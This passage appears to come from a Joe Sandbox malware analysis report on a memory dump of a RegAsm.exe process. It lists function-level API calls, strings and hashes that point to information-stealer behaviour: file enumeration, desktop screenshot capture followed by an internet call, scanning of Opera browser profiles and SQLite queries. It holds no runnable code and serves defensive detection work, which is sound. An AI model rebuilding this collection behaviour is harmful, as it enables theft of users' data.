Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b882ed06134a5c925a025e9c2e32e564ec4ca20038909c9c9d4a12e3f9dd45cb
Instruction ID: e96af3136e19b36926b27c06f162c452fc52f03278400d1dbc9b68fd539e483a
Opcode Fuzzy Hash: b882ed06134a5c925a025e9c2e32e564ec4ca20038909c9c9d4a12e3f9dd45cb
Instruction Fuzzy Hash: 5841F571A0461AAFCF14AF94D8819AFBBB1EB48314F20447FE915BB391D6399D408F98

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00414462 Relevance: 44.1, APIs: 21, Strings: 4, Instructions: 316stringfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414467
wsprintfA.USER32 ref: 0041448D
FindFirstFileA.KERNEL32(?,?), ref: 004144A4
memset.MSVCRT ref: 004144BB
memset.MSVCRT ref: 004144C9
StrCmpCA.SHLWAPI(?,00425798), ref: 004144E7
StrCmpCA.SHLWAPI(?,0042579C), ref: 00414501
wsprintfA.USER32 ref: 00414525
StrCmpCA.SHLWAPI(?,004254AE), ref: 00414536
wsprintfA.USER32 ref: 0041455C
wsprintfA.USER32 ref: 00414570
memset.MSVCRT ref: 00414582
lstrcat.KERNEL32(?,?), ref: 00414594
strtok_s.MSVCRT ref: 004145CD
memset.MSVCRT ref: 004145E2
lstrcat.KERNEL32(?,?), ref: 004145F7
PathMatchSpecA.SHLWAPI(?,00000000), ref: 0041461A

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041471C
strtok_s.MSVCRT ref: 0041474D
FindNextFileA.KERNEL32(000000FF,?), ref: 00414870
FindClose.KERNEL32(000000FF), ref: 00414881

Strings

%s\%s, xrefs: 0041456A
%s\%s, xrefs: 0041451F
%s\%s\%s, xrefs: 00414556
%s\*.*, xrefs: 00414482

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcatlstrcpymemsetwsprintf$Find$Filestrtok_s$CloseFirstMatchNextPathSpecSystemTimeUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 264515753-332874205
Opcode ID: 45a2c926a36e324c1a659db2f6d9950ec8a480bf5c4a90691f540d55abf4b22e
Instruction ID: 90f09cb4787a9c131c8907a5308eaa565c43d17f9929f8bed5a1c7cc166fda0b
Opcode Fuzzy Hash: 45a2c926a36e324c1a659db2f6d9950ec8a480bf5c4a90691f540d55abf4b22e
Instruction Fuzzy Hash: 77C181B1900258EADF10EBA1DC45EEE7BBDAF09304F10446AF515E3192DB389B58CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041531B Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227stringfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415320
wsprintfA.USER32 ref: 00415340
FindFirstFileA.KERNEL32(?,?), ref: 00415357
StrCmpCA.SHLWAPI(?,00425854), ref: 00415374
StrCmpCA.SHLWAPI(?,00425858), ref: 0041538E
wsprintfA.USER32 ref: 004153B2
StrCmpCA.SHLWAPI(?,004254BF), ref: 004153C3
wsprintfA.USER32 ref: 004153E0

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004061D7: _EH_prolog.MSVCRT ref: 004061DC
Part of subcall function 004061D7: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
Part of subcall function 004061D7: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
Part of subcall function 004061D7: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
Part of subcall function 004061D7: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
Part of subcall function 004061D7: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

wsprintfA.USER32 ref: 004153F4
PathMatchSpecA.SHLWAPI(?,?), ref: 00415407
lstrcat.KERNEL32(?,?), ref: 00415433
lstrcat.KERNEL32(?,00425870), ref: 00415445
lstrcat.KERNEL32(?,?), ref: 00415455
lstrcat.KERNEL32(?,00425874), ref: 00415467
lstrcat.KERNEL32(?,?), ref: 0041547B
FindNextFileA.KERNEL32(00000000,?), ref: 00415616
FindClose.KERNEL32(00000000), ref: 00415625

Strings

%s\%s, xrefs: 004153EE
%s\*, xrefs: 0041533A
%s\%s, xrefs: 004153AC

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcat$H_prologwsprintf$Find$CloseCreatelstrcpy$AllocFirstHandleLocalMatchNextObjectPathReadSingleSizeSpecThreadWait
String ID: %s\%s$%s\%s$%s\*
API String ID: 3254224521-445461498
Opcode ID: 81ea7e93c22cc5b8ad77a87b270ab2e355fec8da294fbd899ae51f1247f1427f
Instruction ID: 80175c9a934cebb72ef39c438ee54d638529756cf102169ddbb16661f2bc50a4
Opcode Fuzzy Hash: 81ea7e93c22cc5b8ad77a87b270ab2e355fec8da294fbd899ae51f1247f1427f
Instruction Fuzzy Hash: A691A171D00218EBDF11EBA1DD4AEDE7BBDAF09304F0044AAF505A3192DB789758CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004102E8 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004102ED
memset.MSVCRT ref: 00410313
GetDesktopWindow.USER32 ref: 00410349
GetWindowRect.USER32(00000000,?), ref: 00410356
GetDC.USER32(00000000), ref: 0041035D
CreateCompatibleDC.GDI32(00000000), ref: 00410367
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00410378
SelectObject.GDI32(00000000,00000000), ref: 00410383
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0041039F
GlobalFix.KERNEL32(?), ref: 004103FD
GlobalSize.KERNEL32(?), ref: 00410409

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004043CF: _EH_prolog.MSVCRT ref: 004043D4
Part of subcall function 004043CF: lstrlenA.KERNEL32(00000000), ref: 00404443
Part of subcall function 004043CF: StrCmpCA.SHLWAPI(?,004249DF,004249DB,004249D3,004249CF,004249CE), ref: 004044C6
Part of subcall function 004043CF: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004044E6

SelectObject.GDI32(00000000,?), ref: 00410483
DeleteObject.GDI32(?), ref: 0041049E
DeleteObject.GDI32(00000000), ref: 004104A5
ReleaseDC.USER32(00000000,?), ref: 004104AF
CloseWindow.USER32(00000000), ref: 004104B6

Strings

image/jpeg, xrefs: 004103BF

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Object$Window$CompatibleCreateDeleteGlobalH_prologSelectlstrcpy$BitmapCloseDesktopInternetOpenRectReleaseSizelstrlenmemset
String ID: image/jpeg
API String ID: 3067874393-3785015651
Opcode ID: 8a8bdd2b6da43701cbbdadb0da03d755d4225ed0530f69ec8f7c4ef74c1e1819
Instruction ID: b72e8c075f97cd32244269dcb3d9bad35b59dd1cd10f8f5582361395917b64e1
Opcode Fuzzy Hash: 8a8bdd2b6da43701cbbdadb0da03d755d4225ed0530f69ec8f7c4ef74c1e1819
Instruction Fuzzy Hash: 7E51F9B2C00218AFDF01EFE5DD499EEBFB9FF09314F10502AFA01A2161D7394A559BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414ED2 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 201stringmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414ED7
GetProcessHeap.KERNEL32(00000000,0098967F,?,00000104), ref: 00414EEF
HeapAlloc.KERNEL32(00000000,?,00000104), ref: 00414EF6
wsprintfA.USER32 ref: 00414F0E
FindFirstFileA.KERNEL32(?,?), ref: 00414F25
StrCmpCA.SHLWAPI(?,00425838), ref: 00414F42
StrCmpCA.SHLWAPI(?,0042583C), ref: 00414F5C
wsprintfA.USER32 ref: 00414F80

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00411CF6: _EH_prolog.MSVCRT ref: 00411CFB
Part of subcall function 00411CF6: memset.MSVCRT ref: 00411D1C
Part of subcall function 00411CF6: memset.MSVCRT ref: 00411D2A
Part of subcall function 00411CF6: lstrcat.KERNEL32(?,00000000), ref: 00411D56
Part of subcall function 00411CF6: lstrcat.KERNEL32(?), ref: 00411D74
Part of subcall function 00411CF6: lstrcat.KERNEL32(?,?), ref: 00411D88
Part of subcall function 00411CF6: lstrcat.KERNEL32(?), ref: 00411D9B
Part of subcall function 00411CF6: StrStrA.SHLWAPI(00000000), ref: 00411E35

FindNextFileA.KERNEL32(00000000,?), ref: 004150AF
FindClose.KERNEL32(00000000), ref: 004150BE
lstrcat.KERNEL32(?,?), ref: 004150E3
lstrcat.KERNEL32(?), ref: 004150F6
lstrlenA.KERNEL32(?), ref: 004150FF
lstrlenA.KERNEL32(?), ref: 0041510C

Strings

%s\*, xrefs: 00414F08
%s\%s, xrefs: 00414F7A

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$lstrcpy$Findlstrlen$FileHeapmemsetwsprintf$AllocCloseFirstNextProcessSystemTime
String ID: %s\%s$%s\*
API String ID: 398052587-2848263008
Opcode ID: b30466ffbc79659b2e2bfa2b9986d482defda78eb0016d9cb88518bef5779368
Instruction ID: bef94c3f4399ae371824a42a0da6f2abc892f3b013e021df97c8c0e4b108b331
Opcode Fuzzy Hash: b30466ffbc79659b2e2bfa2b9986d482defda78eb0016d9cb88518bef5779368
Instruction Fuzzy Hash: 36818C71D00258AEDF00EBE5DC49FEEBBB9AF19304F00446AF505B3191DB785A58CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00414B2E Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 133stringfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414B33
wsprintfA.USER32 ref: 00414B56
FindFirstFileA.KERNEL32(?,?), ref: 00414B6D
StrCmpCA.SHLWAPI(?,00425820), ref: 00414B8F
StrCmpCA.SHLWAPI(?,00425824), ref: 00414BA9
lstrcat.KERNEL32(?,?), ref: 00414BDE
lstrcat.KERNEL32(?), ref: 00414BF1
lstrcat.KERNEL32(?,?), ref: 00414C05
lstrcat.KERNEL32(?,?), ref: 00414C15
lstrcat.KERNEL32(?,00425828), ref: 00414C27
lstrcat.KERNEL32(?,?), ref: 00414C3B

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 004061D7: _EH_prolog.MSVCRT ref: 004061DC
Part of subcall function 004061D7: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
Part of subcall function 004061D7: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
Part of subcall function 004061D7: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
Part of subcall function 004061D7: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
Part of subcall function 004061D7: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

FindNextFileA.KERNEL32(00000000,?), ref: 00414CD5
FindClose.KERNEL32(00000000), ref: 00414CE4

Strings

%s\%s, xrefs: 00414B50

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$H_prolog$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 2282932919-4073750446
Opcode ID: d17ec3c26600bd52f5ef96e5e4cbc8889da4d0dd2681947c91fd2a1080613eb5
Instruction ID: 05727ecc9d7f33b886483cb8d764c8e7b40b9ffdb98e9113d0f3f5e3cb310351
Opcode Fuzzy Hash: d17ec3c26600bd52f5ef96e5e4cbc8889da4d0dd2681947c91fd2a1080613eb5
Instruction Fuzzy Hash: CB513071900128ABCF11EBB1DD49EDE7B7DAB49314F0004AAF505E3151E7389755CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409FBE Relevance: 23.4, APIs: 8, Strings: 5, Instructions: 628fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409FC3

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,?,?,00424C06,00000000,?,00000000), ref: 0040A042
StrCmpCA.SHLWAPI(?,00424E68), ref: 0040A09C
StrCmpCA.SHLWAPI(?,00424E6C), ref: 0040A0B6
StrCmpCA.SHLWAPI(00000000,Opera,00424C13,00424C12,00424C0F,00424C0E,00424C0B,00424C0A,00424C07), ref: 0040A149
StrCmpCA.SHLWAPI(00000000,Opera GX), ref: 0040A15D
StrCmpCA.SHLWAPI(00000000,Opera Crypto), ref: 0040A171

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

7, xrefs: 0040A7CC
\*.*, xrefs: 00409FF9
Opera Crypto, xrefs: 0040A163
Opera, xrefs: 0040A137
Opera GX, xrefs: 0040A14F

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: 7$Opera$Opera Crypto$Opera GX$\*.*
API String ID: 3869166975-536343317
Opcode ID: 3ce71d429e05e21809e9ad90c95f306b7a74d996af67ac7e37ae5550a3f075c4
Instruction ID: e1e732d37fd29b0b379b404ee0475555f18a85fffeb7a532c0721a1af017c2f0
Opcode Fuzzy Hash: 3ce71d429e05e21809e9ad90c95f306b7a74d996af67ac7e37ae5550a3f075c4
Instruction Fuzzy Hash: 0A42C270900288EADF44EBE6C955BDDBBB4AF19308F4044AEE445732C2DB781B1CDB66

Uniqueness

Uniqueness Score: -1.00%

Function 1B5BD9E0 Relevance: 23.3, APIs: 8, Strings: 5, Instructions: 564COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B5BDAD6, 1B5BDE39
API called with finalized prepared statement, xrefs: 1B5BDAB0, 1B5BDE13
%s at line %d of [%.10s], xrefs: 1B5BDADB, 1B5BDE3E
API called with NULL prepared statement, xrefs: 1B5BDA9B, 1B5BDDFE
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5BDACC, 1B5BDE2F

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 3e318108a7eb1c2b47e2f8dd51134a2ec12b1ac5a37419c8402c4cbc62f5f262
Instruction ID: 976cf6f7c60e5720a38eaf4cbfd8af605e438272e62017ee18e803ca77664f98
Opcode Fuzzy Hash: 3e318108a7eb1c2b47e2f8dd51134a2ec12b1ac5a37419c8402c4cbc62f5f262
Instruction Fuzzy Hash: FD1204B49047419BF7208F24CE45BD77BEABF55318F04492CE89987282E776E449CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BB400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 367COMMON

Download Yara Rule

Strings

ASC, xrefs: 1B4BB651, 1B4BB678
DESC, xrefs: 1B4BB656, 1B4BB65E, 1B4BB67D, 1B4BB685
SELECT %s ORDER BY rowid %s, xrefs: 1B4BB665
SELECT %s WHERE rowid BETWEEN %lld AND %lld ORDER BY rowid %s, xrefs: 1B4BB696

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: ASC$DESC$SELECT %s ORDER BY rowid %s$SELECT %s WHERE rowid BETWEEN %lld AND %lld ORDER BY rowid %s
API String ID: 0-3496276579
Opcode ID: bd7877f27da4e12b6a7fa398ac2b849e26e184e158dc6f262aeaf5f0e1ee4aec
Instruction ID: 002fcbd8f7205fbc13bd770a80986e578e3d678181764d1bc55e9c2bf6dfabae
Opcode Fuzzy Hash: bd7877f27da4e12b6a7fa398ac2b849e26e184e158dc6f262aeaf5f0e1ee4aec
Instruction Fuzzy Hash: B1C133B59007419FCB218F24D941BEABBE1FF88314F04892EEAD5C6741E73AE545CB62

Uniqueness

Uniqueness Score: -1.00%

Function 004148AF Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 151stringCOMMON

